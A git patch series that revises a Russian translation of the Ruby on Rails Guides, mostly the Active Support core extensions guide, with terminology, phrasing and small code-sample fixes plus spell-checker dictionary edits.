a/source/working_with_javascript_in_rails.md b/source/working_with_javascript_in_rails.md index 144913da..ac435904 100644 --- a/source/working_with_javascript_in_rails.md +++ b/source/working_with_javascript_in_rails.md @@ -109,7 +109,7 @@ Rails предоставляет ряд вспомогательных мето Так как JavaScript ненавязчив, "Ajax-хелперы" Rails фактически состоят из двух частей: часть JavaScript и часть Ruby. -Если вы не отключили Asset Pipeline, [rails-ujs](https://github.com/rails/rails/blob/master/actionview/app/assets/javascripts/rails-ujs.coffee) представляет часть для JavaScript, а хелперы вьюх на обычном Ruby добавляют подходящие теги в DOM. +Если не отключить Asset Pipeline, [rails-ujs](https://github.com/rails/rails/tree/master/actionview/app/assets/javascripts) предоставляет часть для JavaScript, а хелперы вьюх на обычном Ruby добавляют подходящие теги в DOM. Ниже вы можете прочитать о различных событиях, которые вызываются при работе с remote элементами внутри вашего приложения. From 7bf284e55818b3406ca177f47dcf58984fad3678 Mon Sep 17 00:00:00 2001 From: Yauheni Dakuka Date: Thu, 24 Aug 2017 09:57:23 +0300 Subject: [PATCH 335/932] rewrite active support ce --- .yaspellerrc | 2 - source/3_0_release_notes.md | 2 +- source/4_1_release_notes.md | 2 +- source/action_controller_overview.md | 4 +- source/active_record_querying.md | 8 +- source/active_record_validations.md | 2 +- source/active_support_core_extensions.md | 426 +++++++++--------- source/api_app.md | 2 +- source/asset_pipeline.md | 4 +- source/autoloading_and_reloading_constants.md | 2 +- source/caching_with_rails.md | 4 +- source/command_line.md | 2 +- source/configuring.md | 16 +- source/contributing_to_ruby_on_rails.md | 6 +- source/form_helpers.md | 2 +- source/i18n.md | 4 +- source/initialization.md | 2 +- source/routing.md | 2 +- source/security.md | 14 +- source/testing.md | 4 +- source/upgrading_ruby_on_rails.md | 2 +- 21 files changed, 255 insertions(+), 257 deletions(-) diff --git a/.yaspellerrc b/.yaspellerrc index 55680e7a..e1d5f7aa 100644 --- a/.yaspellerrc +++ b/.yaspellerrc @@ -101,7 +101,6 @@ "масштабируемост(и|ь|ей|ью|ям|ях|ями)", "межсайтов(ая|ое|ой|ом|ую|ые|ым|ый|ых|ого|ыми)", "метатег(а|е|и|у|ах|ов|ом|ами|)", - "мержит(ь|ся|ься|)", "минифайеры", "минимайзер(а|е|и|у|ах|ов|ом|ами|)", "минификаци(ю|я)", @@ -202,7 +201,6 @@ "слэш(а|е|у|ы|ах|ов|ом|ами|)", "смаршрутизирован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", "смаршрутизир(ует|уют|уете|овать)(ся|)", - "смержит(ь|ся|ься|)", "спарсив", "спуфинг(а|ом|е|)", "стаб(а|е|у|ы|ах|ов|ом|ами|)", diff --git a/source/3_0_release_notes.md b/source/3_0_release_notes.md index 1a2f15cf..4c241245 100644 --- a/source/3_0_release_notes.md +++ b/source/3_0_release_notes.md @@ -114,7 +114,7 @@ Railties был обновлен, чтобы предоставить совме ### Все основные компоненты Rails были разделены -В связи со слиянием Merb и Rails, одним из заданий было устранение тесно связанных вместе основных компонентов Rails. Это было достигнуто, и теперь все основные компоненты Rails используют то же API, что вы можете использовать для своих плагинов. Это означает, что каждый сделанный вами плагин или замена любого основного компонента (например DataMapper или Sequel) имеют доступ ко всему функционалу, к которому имеют доступ основные компоненты Rails, и могут расширять и улучшать его как угодно. +В связи с объединением Merb и Rails, одним из заданий было устранение тесно связанных вместе основных компонентов Rails. Это было достигнуто, и теперь все основные компоненты Rails используют то же API, что вы можете использовать для своих плагинов. Это означает, что каждый сделанный вами плагин или замена любого основного компонента (например, DataMapper или Sequel) имеют доступ ко всему функционалу, к которому имеют доступ основные компоненты Rails, и могут расширять и улучшать его как угодно. Подробнее: - [The Great Decoupling](http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/) diff --git a/source/4_1_release_notes.md b/source/4_1_release_notes.md index 5895e030..de1195c2 100644 --- a/source/4_1_release_notes.md +++ b/source/4_1_release_notes.md @@ -412,7 +412,7 @@ Active Record * Скоупы по умолчанию больше не переопределяются присоединенными условиями. - До этого изменения, при определении в модели `default_scope`, он переопределялся присоединенными условиями на то же поле. Теперь он мержится, как и любой другой скоуп. [Подробнее](/upgrading-ruby-on-rails#changes-on-default-scopes). + До этого изменения, при определении в модели `default_scope`, он переопределялся присоединенными условиями на то же поле. Теперь он объединяется, как и любой другой скоуп. [Подробнее](/upgrading-ruby-on-rails#changes-on-default-scopes). * Добавлен метод `ActiveRecord::Base.to_param` для удобного создания "красивых" URL, используя атрибуты или методы модели. diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index 0241b1ce..e70e6335 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -552,7 +552,7 @@ end Отметьте, что если для удаления значений сессии ключ устанавливается в `nil`, то для удаления значений куки следует использовать `cookies.delete(:key)`. -Rails также предоставляет подписанные куки и зашифрованные куки для хранения конфиденциальных данных. В подписанные куки добавляется криптографическая подпись значений куки для защиты их целостности. Зашифрованные куки шифруют значения в дополнение к их подписи, поэтому они не могут быть прочитаны пользователем. За подробностями обратитесь к [документации API](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html). +Rails также предоставляет подписанные куки и зашифрованные куки для хранения конфиденциальных данных. В подписанные куки добавляется криптографическая сигнатура значений куки для защиты их целостности. Зашифрованные куки шифруют значения в дополнение к их подписи, поэтому они не могут быть прочитаны пользователем. За подробностями обратитесь к [документации API](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html). Эти специальные куки используют сериализатор для сериализации назначенных значений в строки и десериализации их в объекты Ruby при чтении. @@ -750,7 +750,7 @@ end Rails добавит этот токен в каждую форму, генерируемую с помощью [хелперов форм](/rails-form-helpers), таким образом, большую часть времени можете об этом не беспокоиться. Если вы пишете формы вручную или хотите добавить токен по другой причине, это можно сделать, используя метод `form_authenticity_token`: -`form_authenticity_token` генерирует валидный аутентификационный токен. Его полезно помещать в места, куда Rails не добавляет его автоматически, например в произвольные вызовы Ajax. +`form_authenticity_token` генерирует валидный аутентификационный токен. Его полезно размещать в тех местах, куда Rails не добавляет его автоматически, например в произвольные вызовы Ajax. В [Руководстве по безопасности](/ruby-on-rails-security-guide) имеется более подробная информация об этом, и множество других вопросов, посвященных безопасности, которые вы должны принимать во внимание при разработке веб-приложения. diff --git a/source/active_record_querying.md b/source/active_record_querying.md index b5b11b95..7bb32c0a 100644 --- a/source/active_record_querying.md +++ b/source/active_record_querying.md @@ -1385,9 +1385,9 @@ end Client.new # => # ``` -### Слияние скоупов +### Объединение скоупов -Подобно условиям `where`, скоупы сливаются с использованием `AND`. +Подобно условиям `where`, скоупы объединяются с использованием `AND`. ```ruby class User < ApplicationRecord @@ -1413,7 +1413,7 @@ User.active.merge(User.inactive) # SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' ``` -Важным предостережением является то, что `default_scope` будет переопределен условиями `scope` и `where`. +Важным предостережением является то, что `default_scope` переопределяется условиями `scope` и `where`. ```ruby class User < ApplicationRecord @@ -1432,7 +1432,7 @@ User.where(state: 'inactive') # SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' ``` -Как видите, `default_scope` был переопределен как условием `scope`, так и `where`. +Как видите, `default_scope` объединяется как со `scope`, так и с `where` условиями. ### Удаление всех скоупов diff --git a/source/active_record_validations.md b/source/active_record_validations.md index 1883f21d..4ae4705b 100644 --- a/source/active_record_validations.md +++ b/source/active_record_validations.md @@ -750,7 +750,7 @@ end class MyValidator < ActiveModel::Validator def validate(record) unless record.name.starts_with? 'X' - record.errors[:name] << ‘Need a name starting with X please!’ + record.errors[:name] << 'Need a name starting with X please!' end end end diff --git a/source/active_support_core_extensions.md b/source/active_support_core_extensions.md index 9dbfb471..91c8557b 100644 --- a/source/active_support_core_extensions.md +++ b/source/active_support_core_extensions.md @@ -48,7 +48,7 @@ Active Support был тщательно пересмотрен и теперь Следующий уровень - это просто загрузка всех расширений к `Object`. Как правило, расширения к `SomeClass` доступны за раз при загрузке `active_support/core_ext/some_class`. -Таким образом, если вы так сделаете, то получите `blank?`, загрузив все расширения к `Object`: +Таким образом, чтобы загрузить все расширения `Object` (в том числе `blank?`): ```ruby require 'active_support' @@ -66,7 +66,7 @@ require 'active_support/core_ext' #### Загрузка всего Active Support -И наконец, если хотите иметь доступным весь Active Support, просто вызовите: +И наконец, если хотите иметь доступным весь Active Support, просто выполните: ```ruby require 'active_support/all' @@ -83,14 +83,14 @@ require 'active_support/all' ### `blank?` и `present?` -Следующие значения рассматриваются как пустые (blank) в приложении на Rails: +Следующие значения рассматриваются как пустые в Rails приложении: * `nil` и `false`, * строки, состоящие только из пробелов (смотрите примечание ниже), * пустые массивы и хэши, -* и любые другие объекты, откликающиеся на `empty?`, и являющиеся пустыми. +* и любые другие объекты, откликающиеся на `empty?` и являющиеся пустыми. -INFO: Условие для строк использует учитывающий Unicode символьный класс `[:space:]`, поэтому, к примеру, U+2029 (разделитель параграфов) рассматривается как пробел. +INFO: Условие для строк использует совместимый с Unicode символьный класс `[:space:]`, поэтому, к примеру, U+2029 (разделитель параграфов) рассматривается как пробел. WARNING: Отметьте, что числа тут не упомянуты, в частности, 0 и 0.0 **не** являются пустыми. @@ -173,13 +173,13 @@ nil.duplicable? # => false 1.duplicable? # => false ``` -WARNING. Любой класс может запретить дублирование, убрав `dup` и `clone`, или вызвав исключение в них. Таким образом, только `rescue` может сказать, является ли данный отдельный объект дублируемым. `duplicable?` зависит от жестко заданного вышеуказанного перечня, но он намного быстрее, чем `rescue`. Используйте его, только если знаете, что жесткий перечень достаточен в конкретном случае. +WARNING. Любой класс может запретить дублирование, убрав `dup` и `clone`, или вызвав исключение в них. Таким образом, только `rescue` может сказать, является ли данный произвольный объект дублируемым. `duplicable?` зависит от жестко заданного вышеуказанного перечня, но он намного быстрее, чем `rescue`. Используйте его только в том случае, если знаете, что жесткий перечень достаточен в конкретном случае. NOTE: Определено в `active_support/core_ext/object/duplicable.rb`. ### `deep_dup` -Метод `deep_dup` возвращает "глубокую" копию данного объекта. Обычно при вызове `dup` на объекте, содержащем другие объекты, Ruby не вызывает `dup` для них, таким образом, он создает мелкую копию объекта. Если, к примеру, у вас имеется массив со строкой, это будет выглядеть так: +Метод `deep_dup` возвращает "глубокую" копию данного объекта. Обычно при вызове `dup` на объекте, содержащем другие объекты, Ruby не вызывает `dup` для них, поэтому он создает "мелкую" копию объекта. Если, к примеру, имеется массив со строкой, это будет выглядеть так: ```ruby array = ['string'] @@ -198,7 +198,7 @@ array # => ['foo'] duplicate # => ['foo', 'another-string'] ``` -Как видите, после дублирования экземпляра `Array`, мы получили другой объект, следовательно мы можем его изменить, и оригинальный объект останется нетронутым. Однако, это не истинно для элементов массива. Поскольку `dup` не делает "глубокую" копию, строка внутри массива все еще тот же самый объект. +Как видите, после дублирования экземпляра `Array`, мы получили еще один объект, следовательно мы можем его изменить, и исходный объект останется нетронутым. Однако, это не истинно для элементов массива. Поскольку `dup` не делает "глубокую" копию, строка внутри массива остается тем же самым объектом. Если нужна "глубокая" копия объекта, следует использовать `deep_dup`. Вот пример: @@ -224,21 +224,21 @@ NOTE: Определено в `active_support/core_ext/object/deep_dup.rb`. ### `try` -Когда хотите вызвать метод на объекте, но только, если он не `nil`, простейшим способом достичь этого является условное выражение, добавляющее ненужный код. Альтернативой является использование `try`. `try` похож на `Object#send` за исключением того, что он возвращает `nil`, если вызван на `nil`. +Когда необходимо вызвать метод на объекте, но только в том случае, если он не `nil`, то простейшим способом достичь этого является условное выражение, добавляющее ненужный код. Альтернативой является использование `try`. `try` похож на `Object#send` за исключением того, что он возвращает `nil`, если вызван на `nil`. Вот пример: ```ruby -# without try +# без try unless @number.nil? @number.next end -# with try +# используя try @number.try(:next) ``` -Другим примером является этот код из `ActiveRecord::ConnectionAdapters::AbstractAdapter`, где `@logger` может быть `nil`. Код использует `try` и избегает ненужной проверки. +Другим примером является этот код из `ActiveRecord::ConnectionAdapters::AbstractAdapter`, где `@logger` может быть `nil`. Код использует `try` и позволяет избегать ненужной проверки. ```ruby def log_info(sql, name, ms) @@ -255,7 +255,7 @@ end @person.try { |p| "#{p.first_name} #{p.last_name}" } ``` -Отметьте, что `try` поглотит ошибки об отсутствующем методе, возвратив вместо них nil. Если вы хотите защититься от ошибок, используйте вместо него `try!`: +Отметьте, что `try` поглотит ошибки об отсутствующем методе, возвратив вместо них nil. Если необходимо защититься от таких ошибок, используйте вместо него `try!`: ```ruby @number.try(:nest) # => nil @@ -266,7 +266,7 @@ NOTE: Определено в `active_support/core_ext/object/try.rb`. ### `class_eval(*args, &block)` -Можно вычислить код в контексте экземпляра класса любого объекта, используя `class_eval`: +Можно выполнить код в контексте синглтон-класса любого объекта, используя `class_eval`: ```ruby class Proc @@ -287,14 +287,14 @@ NOTE: Определено в `active_support/core_ext/kernel/singleton_class.rb ### `acts_like?(duck)` -Метод `acts_like?` предоставляет способ проверки, работает ли некий класс как некоторый другой класс, основываясь на простом соглашении: класс предоставляющий тот же интерфейс, как у `String` определяет +Метод `acts_like?` предоставляет возможность проверить, работает ли некий класс как некоторый другой класс, основываясь на простом соглашении: класс предоставляющий тот же интерфейс, как у `String` определяет ```ruby def acts_like_string? end ``` -являющийся всего лишь маркером, его содержимое или возвращаемое значение ничего не значит. Затем, код клиента может безопасно запросить следующим образом: +являющийся всего лишь маркером, его содержимое или возвращаемое значение ничего не значит. Затем, код клиента может запросить "безопасную утиную типизацию" следующим образом: ```ruby some_klass.acts_like?(:string) @@ -328,7 +328,7 @@ NOTE: Определено в `active_support/core_ext/object/acts_like.rb`. [0, true, String].to_param # => "0/true/String" ``` -В частности, система маршрутов Rails вызывает `to_param` на моделях, чтобы получить значение для заполнения `:id`. `ActiveRecord::Base#to_param` возвращает `id` модели, но можно переопределить этот метод в своих моделях. Например, задав +В частности, система роутинга Rails вызывает `to_param` на моделях, чтобы получить значение для заполнения `:id`. `ActiveRecord::Base#to_param` возвращает `id` модели, но можно переопределить этот метод в своих моделях. Например, задав ```ruby class User @@ -375,14 +375,14 @@ account.to_query('company[name]') поэтому результат готов для использования в строке запроса. -Массивы возвращают результат применения `to_query` к каждому элементу с `key[]` как ключом, и соединяет результат с помощью "&": +Массивы возвращают результат применения `to_query` к каждому элементу с `key[]` в качестве ключа, и соединяет результат с помощью "&": ```ruby [3.4, -45.6].to_query('sample') # => "sample%5B%5D=3.4&sample%5B%5D=-45.6" ``` -Хэши также отвечают на `to_query`, но в другом ключе. Если аргументы не заданы, вызов генерирует сортированную серию назначений ключ/значение, вызвав `to_query(key)` на его значениях. Затем он соединяет результат с помощью "&": +Хэши также отвечают на `to_query`, но c другой сигнатурой. Если аргумент не передается, вызов генерирует отсортированную серию присваиваний ключ/значение, вызвав `to_query(key)` на этих значениях. Затем он соединяет результат с помощью "&": ```ruby {c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3" @@ -401,7 +401,7 @@ NOTE: Определено в `active_support/core_ext/object/to_query.rb`. Метод `with_options` предоставляет способ для выделения общих опций в серии вызовов метода. -Задав хэш опций по умолчанию, `with_options` предоставляет прокси на объект в блок. В блоке методы, вызванные на прокси, возвращаются получателю с прикрепленными опциями. Например, имеются такие дублирования: +Задав дефолтный хэш опций, `with_options` предоставляет прокси-объект в блок. Внутри блока методы, вызванные на прокси, отправляются получателю с объединением своих опций. Например, чтобы избавиться от дублирования: ```ruby class Account < ApplicationRecord @@ -412,7 +412,7 @@ class Account < ApplicationRecord end ``` -заменяем: +заменяем на: ```ruby class Account < ApplicationRecord @@ -425,7 +425,7 @@ class Account < ApplicationRecord end ``` -Эта идиома также может передавать _группировку_ в reader. Например скажем, что нужно послать письмо, язык которого зависит от пользователя. Где-нибудь в рассыльщике можно сгруппировать кусочки, зависимые от локали, наподобие этих: +Эта идиома может передавать _группировку_ в ридер (reader). Например скажем, что нужно послать newsletter, язык которого зависит от пользователя. Где-нибудь в рассыльщике можно сгруппировать кусочки, зависимые от локали, следующим образом: ```ruby I18n.with_options locale: user.locale, scope: "newsletter" do |i18n| @@ -434,13 +434,13 @@ I18n.with_options locale: user.locale, scope: "newsletter" do |i18n| end ``` -TIP: Поскольку `with_options` перенаправляет вызовы получателю, они могут быть вложены. Каждый уровень вложения объединит унаследованные значения со своими собственными. +TIP: Поскольку `with_options` переадресовывает вызовы получателю, они могут быть вложены. Каждый уровень вложенности будет объединять унаследованные дефолтные значения со своими собственными. NOTE: Определено в `active_support/core_ext/object/with_options.rb`. ### Поддержка JSON -Active Support представляет лучшую реализацию `to_json`, чем гем `json`, обычно представленный для объектов Ruby. Это так, потому что некоторые классы, такие как `Hash`, `OrderedHash` и `Process::Status`, нуждаются в специальной обработке для подходящего представления в JSON. +Active Support обеспечивает лучшую реализацию `to_json`, чем гем `json`, обычно предоставленный для объектов Ruby. Это так, потому что некоторые классы, такие как `Hash`, `OrderedHash` и `Process::Status`, нуждаются в специальной обработке для обеспечения подходящего JSON. NOTE: Определено в `active_support/core_ext/object/json.rb`. @@ -482,7 +482,7 @@ NOTE: Определено в `active_support/core_ext/object/instance_variables ### Отключение предупреждений и исключения -Методы `silence_warnings` и `enable_warnings` изменяют значение `$VERBOSE` на время исполнения блока, и возвращают исходное значение после его окончания: +Методы `silence_warnings` и `enable_warnings` изменяют значение `$VERBOSE` в течение исполнения блока, и сбрасывают в исходное значение после его окончания: ```ruby silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger } @@ -503,7 +503,7 @@ NOTE: Определено в `active_support/core_ext/kernel/reporting.rb`. Условие `in?` проверяет, включен ли объект в другой объект. Если переданный элемент не отвечает на `include?`, будет вызвано исключение `ArgumentError`. -Примеры `in?`: +Примеры применения `in?`: ```ruby 1.in?([1,2]) # => true @@ -515,13 +515,13 @@ NOTE: Определено в `active_support/core_ext/kernel/reporting.rb`. NOTE: Определено в `active_support/core_ext/object/inclusion.rb`. Расширения для `Module` ---------------------- +----------------------- ### Атрибуты #### `alias_attribute` -В атрибутах модели есть ридер (reader), райтер (writer), и условие (predicate). Можно создать псевдоним к атрибуту модели, имеющему соответствующие три метода, за раз. Как и в других создающих псевдоним методах, новое имя - это первый аргумент, а старое имя - второй (мнемоническое правило такое: они идут в том же порядке, как если бы делалось присваивание): +В атрибутах модели есть ридер (reader), райтер (writer) и условие (predicate). Можно создать псевдоним к атрибуту модели, в котором будут определены сразу три соответствующих метода. Как и в других создающих псевдоним методах, новое имя - это первый аргумент, а старое имя - второй (мнемоническое правило такое: они идут в том же порядке, как если бы делалось присваивание): ```ruby class User < ApplicationRecord @@ -535,7 +535,7 @@ NOTE: Определено в `active_support/core_ext/module/aliasing.rb`. #### Внутренние атрибуты -При определении атрибута в классе есть риск коллизий подклассовых имен. Это особенно важно для библиотек. +При определении атрибута в классе, который предназначен для подкласса, есть риск коллизии подклассовых имен. Это особенно важно для библиотек. Active Support определяет макросы `attr_internal_reader`, `attr_internal_writer` и `attr_internal_accessor`. Они ведут себя подобно встроенным в Ruby коллегам `attr_*`, за исключением того, что они именуют лежащую в основе переменную экземпляра способом, наиболее снижающим коллизии. @@ -553,9 +553,9 @@ class MyCrawler < ThirdPartyLibrary::Crawler end ``` -В предыдущем примере мог быть случай, что `:log_level` не принадлежит публичному интерфейсу библиотеки и используется только для разработки. Код клиента, не знающий о потенциальных конфликтах, классифицирует и определяет свой собственный `:log_level`. Благодаря `attr_internal` здесь нет коллизий. +В предыдущем примере мог быть случай, при котором `:log_level` не принадлежит публичному интерфейсу библиотеки и используется только для разработки. Код клиента, не подозревающий о потенциальном конфликте, создает подкласс и определяет внутри него свой `:log_level`. Благодаря `attr_internal` здесь не будет коллизий. -По умолчанию внутренняя переменная экземпляра именуется с предшествующим подчеркиванием, `@_log_level` в примере выше. Это настраивается через `Module.attr_internal_naming_format`, куда можно передать любую строку в формате `sprintf` с предшествующим `@` и `%s` в любом месте, которая означает место, куда вставляется имя. По умолчанию `"@_%s"`. +По умолчанию внутренняя переменная экземпляра именуется с предшествующим подчеркиванием, `@_log_level` в примере выше. Это настраивается через `Module.attr_internal_naming_format`, куда можно передать любую строку в формате `sprintf` с предшествующими `@` и `%s` в любом месте, которая означает место, куда вставляется имя. По умолчанию `"@_%s"`. Rails использует внутренние атрибуты в некоторых местах, например для вьюх: @@ -623,7 +623,7 @@ NOTE: Определено в `active_support/core_ext/module/introspection.rb`. #### `parent_name` -Метод `parent_name` на вложенном именованном модуле возвращает полное имя модуля, содержащего его соответствующую константу: +Метод `parent_name` на вложенном именованном модуле возвращает полностью определенное имя модуля, содержащего его соответствующую константу: ```ruby module X @@ -638,7 +638,7 @@ X::Y::Z.parent_name # => "X::Y" M.parent_name # => "X::Y" ``` -Для модулей верхнего уровня и анонимных `parent_name` возвращает `nil`. +Для верхнеуровневых и анонимных модулей `parent_name` возвращает `nil`. WARNING: Отметьте, что в этом случае `parent` возвращает `Object`. @@ -646,7 +646,7 @@ NOTE: Определено в `active_support/core_ext/module/introspection.rb`. #### `parents` -Метод `parents` вызывает `parent` на получателе и выше, пока не достигнет `Object`. Цепочка возвращается в массиве, от низшего к высшему: +Метод `parents` вызывает `parent` на получателе и вверх по иерархии, пока не будет достигнут `Object`. Цепочка возвращается в массиве, от низшего к высшему: ```ruby module X @@ -665,7 +665,7 @@ NOTE: Определено в `active_support/core_ext/module/introspection.rb`. ### Reachable -Именованный модуль является достижимым (reachable), если он хранится в своей соответствующей константе. Это означает, что можно связаться с объектом модуля через константу. +Именованный модуль является достижимым (reachable), если он хранится в своей соответствующей константе. Это означает, что можно связаться (достичь) с объектом модуля через константу. Это означает, что если есть модуль с названием "M", то существует константа `M`, которая указывает на него: @@ -703,7 +703,7 @@ NOTE: Определено в `active_support/core_ext/module/reachable.rb`. ### Anonymous -Модуль может иметь или не иметь имени: +У модуля может быть или не быть имени: ```ruby module M @@ -726,7 +726,7 @@ M.anonymous? # => false Module.new.anonymous? # => true ``` -Отметьте, что быть недоступным не означает быть анонимным: +Отметьте, что быть недостижимым не означает быть анонимным: ```ruby module M @@ -738,7 +738,7 @@ m.reachable? # => false m.anonymous? # => false ``` -хотя анонимный модуль недоступен по определению. +хотя анонимный модуль недостижим по определению. NOTE: Определено в `active_support/core_ext/module/anonymous.rb`. @@ -756,7 +756,7 @@ class User < ApplicationRecord end ``` -С такой конфигурацией имя пользователя получается через его профиль, `user.profile.name`, но можно обеспечить прямой доступ как к атрибуту: +С такой конфигурацией можно получить имя пользователя через его профиль, `user.profile.name`, но было бы удобнее обеспечить доступ к такому атрибуту напрямую: ```ruby class User < ApplicationRecord @@ -788,19 +788,19 @@ end delegate :name, :age, :address, :twitter, to: :profile ``` -При интерполяции в строку опция `:to` должна стать выражением, применяемым к объекту, метод которого передается. Обычно строка или символ. Такое выражение вычисляется в контексте получателя: +При интерполяции в строку опция `:to` должна стать выражением, выполняемым объектом, метод которого делегируется. Обычно строка или символ. Такое выражение выполняется в контексте получателя: ```ruby -# передает константе Rails +# делегирует константе Rails delegate :logger, to: :Rails -# передает классу получателя +# делегирует классу получателя delegate :table_name, to: :class ``` -WARNING: Если опция `:prefix` установлена `true` это менее характерно, смотрите ниже. +WARNING: Если опция `:prefix` установлена в `true` - это менее характерно, смотрите ниже. -По умолчанию, если передача вызывает `NoMethodError` и цель является `nil`, выводится исключение. Можно попросить, чтобы возвращался `nil` с помощью опции `:allow_nil`: +По умолчанию, если делегирование вызывает `NoMethodError` и цель является `nil`, выводится исключение. Можно попросить с помощью опции `:allow_nil`, чтобы вместо этого возвращался `nil`: ```ruby delegate :name, to: :profile, allow_nil: true @@ -808,13 +808,13 @@ delegate :name, to: :profile, allow_nil: true С `:allow_nil` вызов `user.name` возвратит `nil`, если у пользователя нет профиля. -Опция `:prefix` добавляет префикс к имени генерируемого метода. Это удобно, если хотите получить более благозвучное наименование: +Опция `:prefix` добавляет префикс к имени генерируемого метода. Это может быть удобно, например, для получения более благозвучного имени: ```ruby delegate :street, to: :address, prefix: true ``` -Предыдущий пример генерирует `address_street`, а не `street`. +Предыдущий пример сгенерирует `address_street`, а не `street`. WARNING: Поскольку в этом случае имя генерируемого метода составляется из имен целевого объекта и целевого метода, опция `:to` должна быть именем метода. @@ -830,7 +830,7 @@ NOTE: Определено в `active_support/core_ext/module/delegation.rb` #### `delegate_missing_to` -Представьте, что нужно делегировать все, отсутствующее в объекте `User` в` Profile`. Макрос `delegate_missing_to` позволяет реализовать это быстро: +Представьте, что нужно делегировать все, отсутствующее в объекте `User` в `Profile`. Макрос `delegate_missing_to` позволяет реализовать это быстро: ```ruby class User < ApplicationRecord @@ -853,7 +853,7 @@ NOTE: Определено в `active_support/core_ext/module/delegation.rb`. NOTE: Определено в `active_support/core_ext/module/remove_method.rb`. (extensions-to-class) Расширения для `Class` --------------------- +-------------------------------------------- ### Атрибуты класса @@ -908,7 +908,7 @@ a1.x # => 1, приходит из A a2.x # => 2, переопределено в a2 ``` -Генерация райтер-метода экземпляра может быть отключено установлением опции `:instance_writer` в false, как в +Генерация райтер-метода экземпляра может быть отключена установлением опции `:instance_writer` в `false`. ```ruby module ActiveRecord @@ -920,7 +920,7 @@ end В модели такая опция может быть полезной как способ предотвращения массового назначения для установки атрибута. -Генерация ридер-метода может быть отключено установлением опции `:instance_reader` в `false`. +Генерация ридер-метода экземпляра может быть отключена установлением опции `:instance_reader` в `false`. ```ruby class A @@ -933,7 +933,7 @@ A.new.x # NoMethodError Для удобства `class_attribute` определяет также условие экземпляра, являющееся двойным отрицанием того, что возвращает ридер экземпляра. В вышеописанном примере оно может вызываться `x?`. -Когда `instance_reader` равен `false`, условие экземпляра возвратит `NoMethodError`, как и метод ридера. +Когда `instance_reader` равен `false`, условие экземпляра возвратит `NoMethodError`, как и ридер-метод. Если не нужен предикат, передайте `instance_predicate: false`, и он не будет определен. @@ -941,7 +941,7 @@ NOTE: Определено в `active_support/core_ext/class/attribute.rb`. #### `cattr_reader`, `cattr_writer` и `cattr_accessor` -Макросы `cattr_reader`, `cattr_writer` и `cattr_accessor` являются аналогами их коллег `attr_*`, но для классов. Они инициализируют переменную класса как `nil`, если она уже существует, и генерируют соответствующие методы класса для доступа к ней: +Макросы `cattr_reader`, `cattr_writer` и `cattr_accessor` являются аналогами их коллег `attr_*`, но для классов. Они инициализируют переменную класса как `nil`, если она еще не существует, и генерируют соответствующие методы класса для доступа к ней: ```ruby class MysqlAdapter < AbstractAdapter @@ -950,7 +950,7 @@ class MysqlAdapter < AbstractAdapter end ``` -Методы экземпляра также создаются для удобства, они всего лишь прокси к атрибуту класса. Таким образом, экземпляры могут менять атрибут класса, но не могут переопределить его, как это происходит в случае с `class_attribute` (смотрите выше). К примеру, задав +Методы экземпляра также создаются для удобства, они всего лишь прокси к атрибуту класса. Таким образом, экземпляры могут менять атрибут класса, но не могут переопределять его, как это происходит в случае с `class_attribute` (смотрите выше). К примеру, задав ```ruby module ActionView @@ -1037,17 +1037,17 @@ C.descendants # => [B, A, D] NOTE: Определено в `active_support/core_ext/class/subclasses.rb`. Расширения для `String` ---------------------- +----------------------- ### Безопасность вывода #### Мотивация -Вставка данных в шаблоны HTML требует дополнительной заботы. Например, нельзя просто вставить `@review.title` на страницу HTML. С одной стороны, если заголовок рецензии "Flanagan & Matz rules!" результат не будет правильным, поскольку амперсанд был экранирован как "&amp;". К тому же, в зависимости от вашего приложения может быть большая дыра в безопасности, поскольку пользователи могут внедрить злонамеренный HTML, устанавливающий специально изготовленный заголовок рецензии. Посмотрите подробную информацию о рисках в [раздел о межсайтовом скриптинге в Руководстве по безопасности](/ruby-on-rails-security-guide#cross-site-scripting-xss). +Вставка данных в шаблоны HTML требует дополнительной осторожности. Например, нельзя просто интерполировать `@review.title` на страницу HTML. С одной стороны, если заголовок рецензии "Flanagan & Matz rules!", то результат не будет правильно отображен, поскольку амперсанд должен быть экранирован как "&amp;". К тому же, в зависимости от приложения, это может быть большой дырой в безопасности, так как пользователи могут внедрить вредоносный HTML, устанавливающий вручную изготовленный заголовок рецензии. Посмотрите подробную информацию о рисках в разделе о межсайтовом скриптинге в [Руководстве по безопасности](/ruby-on-rails-security-guide#cross-site-scripting-xss). #### Безопасные строки -В Active Support есть концепция _(html) безопасных_ строк. Безопасная строка - это та, которая помечена как подлежащая вставке в HTML как есть. Ей доверяется, независимо от того, была она экранирована или нет. +В Active Support есть концепция _(html) безопасных_ строк. Безопасная строка - это та, которая помечена как подлежащая вставке в HTML как есть. Ей можно доверять, независимо от того, была она экранирована или нет. Строки рассматриваются как _небезопасные_ по умолчанию: @@ -1062,7 +1062,7 @@ s = "".html_safe s.html_safe? # => true ``` -Важно понять, что `html_safe` не выполняет какого бы то не было экранирования, это всего лишь утверждение: +Важно понять, что `html_safe` не выполняет какого бы то ни было экранирования, это всего лишь утверждение: ```ruby s = "".html_safe @@ -1096,7 +1096,7 @@ s # => "" <%= raw @cms.current_template %> <%# вставляет @cms.current_template как есть %> ``` -или эквивалентно используйте `<%==`: +или используйте эквивалентную запись `<%==`: ```erb <%== @cms.current_template %> <%# вставляет @cms.current_template как есть %> @@ -1114,7 +1114,7 @@ NOTE: Определено в `active_support/core_ext/string/output_safety.rb`. #### Преобразование -Как правило, за исключением разве что соединения, объясненного выше, любой метод, который может изменить строку, даст вам небезопасную строку. Это `donwcase`, `gsub`, `strip`, `chomp`, `underscore` и т.д. +Как правило, за исключением, разве что, конкатенации, как объяснялось выше, любой метод, который может изменить строку, дает небезопасную строку. Это `donwcase`, `gsub`, `strip`, `chomp`, `underscore` и т.д. В случае встроенного преобразования, такого как `gsub!`, получатель сам становится небезопасным. @@ -1130,7 +1130,7 @@ INFO: Бит безопасности всегда теряется, незав ### `remove` -Метод `remove` уберет все совпадения с образцом: +Метод `remove` уберет все совпадения с шаблоном: ```ruby "Hello World".remove(/Hello /) 